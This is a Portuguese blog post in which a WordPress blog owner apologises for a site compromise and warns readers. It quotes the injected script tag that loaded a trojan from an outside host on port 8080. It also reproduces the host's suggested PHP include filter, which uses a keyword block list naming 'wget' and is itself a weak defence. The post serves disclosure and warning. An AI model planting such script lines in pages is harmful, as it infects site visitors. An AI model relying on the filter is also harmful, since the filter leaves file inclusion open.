Vírus no blog!

Se você acessou o blog supercaras nos últimos dias, convém atualizar seu antivirus e verificar seu PC agora mesmo.

O pessoal do serviço de hospedagem disse que, apesar da minha boa fé, qualquer merda que dê no seu computador a culpa é minha e eu sou o responsável. Me processe.

Tudo bem, eu admito. De fato, fui descuidado ao alterar algumas daquelas permissões de arquivos no servidor pra poder customizar alguma coisa e depois não voltar a fechar as portas. Prometo que daqui pra frente serei mais cuidadoso. Isso se o seu advogado não me puser na cadeia primeiro.

O QUE HOUVE?

Toda vez que alguém entrava no blog, um código malicioso que estava inserido nos arquivos php tentava contaminar o computador com um trojan. O código era o seguinte:

<script type=”text/javascript” src=”http://myrrh.chargecardsystemsla.com:8080/Algorithm.js”&gt;
</script>
<!–fcd59c4355e6c1b19ce42d5ac34a39c6–>

Se você não tem um antivirus atualizado e ativo, dançou. Meu Microsoft Security Essentials segurou a barra mas, em compensação, desinstalou o Firefox!

SOLUÇÃO

O suporte do serviço de hospedagem me orientou da seguinte forma. Reproduzo o texto aqui no intuito de ajudar quem venha a passar por isso:

Entendemos que seu site contém código vulnerável a internautas maliciosos e, que apesar de não ter executado propositalmente a ação reportada, é o inteiro responsável por seu ambiente web.
Listamos aqui algumas informações e dicas para ajudá-lo(a) a solucionar esta questão. Em primeiro lugar, deixe-nos explicar como funciona um injection de forma bem simples: por exemplo, seu site funciona da seguinte maneira:
Um usuário experiente injetaria um script para que executasse, por exemplo, o envio de spam. Ele, então, faria o seguinte:
Desta forma, usando a fragilidade de seu código, ele poderia executar um script de envio de spam ou mesmo de ataque a um outro servidor, criando headers referentes a seu site e responsabilizando você por isso.
Recomendamos adotar o código abaixo em seus arquivos php, dificultando esta ação:
//$pagina=$_GET[‘pagina’];
//
// //Verifica se a string passada possui algum trecho invalido
// //Caso tenha mostra uma mensagem de erro
// if(eregi(“http|www|ftp|.dat|.txt|.gif|wget”, $pagina))
// {
// echo “Ops! Problemas na página!”;
// //Se a variavel passada estiver dentro das normas, executa o else abaixo:
// }else{
// if(!empty($pagina)) {
// @include (“$pagina.php”);
// }else{
// @include (“capa.php”); //essa seria a sua página principal
// }
// }
Esta é apenas uma forma simples de se evitar isso. Recomendamos uma pesquisa aprofundada e mantenha-se atualizado.
Dicas interessantes sobre Injection em formulários PHP:
Dicas interessantes sobre Injection em arquivos PHP/Mysql:

CONCLUINDO

Apesar de não estar em dia com meus backups (quem está?), não tive muito trabalho para restaurar tudo ao normal. Ao invés de tentar alterar arquivo por arquivo, optei por apagar tudo e instalar o WordPress novamente.

Então fica aqui o aviso, a dica e meu humilde pedido de desculpas a quem se estrepou junto comigo.

Anúncios

Deixe um comentário

Preencha os seus dados abaixo ou clique em um ícone para log in:

Logotipo do WordPress.com

Você está comentando utilizando sua conta WordPress.com. Sair / Alterar )

Imagem do Twitter

Você está comentando utilizando sua conta Twitter. Sair / Alterar )

Foto do Facebook

Você está comentando utilizando sua conta Facebook. Sair / Alterar )

Foto do Google+

Você está comentando utilizando sua conta Google+. Sair / Alterar )

Conectando a %s